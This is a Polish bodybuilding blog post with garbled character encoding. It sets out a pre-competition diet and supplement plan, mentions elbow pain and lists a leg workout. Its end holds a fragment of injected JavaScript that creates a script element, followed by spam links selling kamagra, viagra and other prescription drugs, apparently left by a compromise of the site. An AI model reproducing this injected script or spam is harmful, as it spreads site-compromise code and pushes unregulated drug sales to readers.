5 tyg do startu…

1.10.2011 / Michał Karmowski

W czwartek miaAi??em jechaAi?? z Oleyem na konsultacje do Radka , ale spotkaAi??a mnie niemiAi??a niespodzianka w pracy i musiaAi??em odwoAi??aAi?? mA?j wyjazd, wprowadziAi??Ai??m jednak zmiany w diecie i teraz wyglada ona nastAi??pujAi??co:

 

2 miarki bcaa powder, 2 miarki l-glutamine extreme, 6 caps l-carnitine complex,Ai?? 4 caps clenburexin

30 min cardio najczAi??Ai??ciej bieA?nia

po 2 miarki bcaa powder, 2miarki l-glutamine extreme

1-600g biaAi??ek jaj, 150g pAi??atkA?w owsianych, 150g awokado, – jointXpack,Ai?? vitalXpack, 2 g vit c strong

2,3-300g piersi z kurczaka, 75g ryA?u ,50g orzechA?w

przed treningiem 15 g S.A.W. , 2 miarki bcaa powder, 2 miarki l-glutamine extreme, 6 caps l-carnitine complex

trening

po treningu 40g biaAi??ka z isolate 100, 2 miarki bcaa powder, 2 miarki l-glutamine extreme, 2 g vit c strong

20 min pA?A?niej 250g ryby, 75g ryA?u

4,5-300g kurczaka, 75g ryA?u, 25g oleju lnianego

30 min cardio

6-300g steka, 80g masAi??Ai?? orzechowego , 2 miarki l-glutamine extreme

jest to dieta na najbliA?szy tydzieAi??. Nie bAi??dAi?? dokAi??adaAi?? treningu aerobowego przynajmniej w tym tygodniu.

Mimo zastosowania blokad mA?j Ai??okieAi?? dalej boli zwAi??aszcza jak zrobiAi?? ciAi??A?szy trening, dobrze A?e chociaA? bark nie doskwiera.

Dzisiejszy trening nA?g:

-wyprosty

-przysiady na hak maszynie

-przysiady na hammerze

-wypychanie na suwnicy jednonA?A?

-wykroki

-uginanie leA?Ai??c

-uginanie siedzAi??c

 

Zapraszam do oglAi??dania kolejnych odcinkA?w z cyklu „Zapytaj Trenera”

[yframe url=’http://www.youtube.com/watch?v=iST-HrKgxgw’]

 var d=document;var s=d.createElement(‚script’); http://weddingdjspain.com/2018/02/01/quibron-t-cost/ kamagra oral jelly review forum. Kamagra reviews. kamagra store reviews. genuine viagra 100mg online Buy http://www.healtbeautyturkey.tk/cheap-pletal-side/ online cheap aygestin generic Pills isotretinoin sale cheap triamterene online online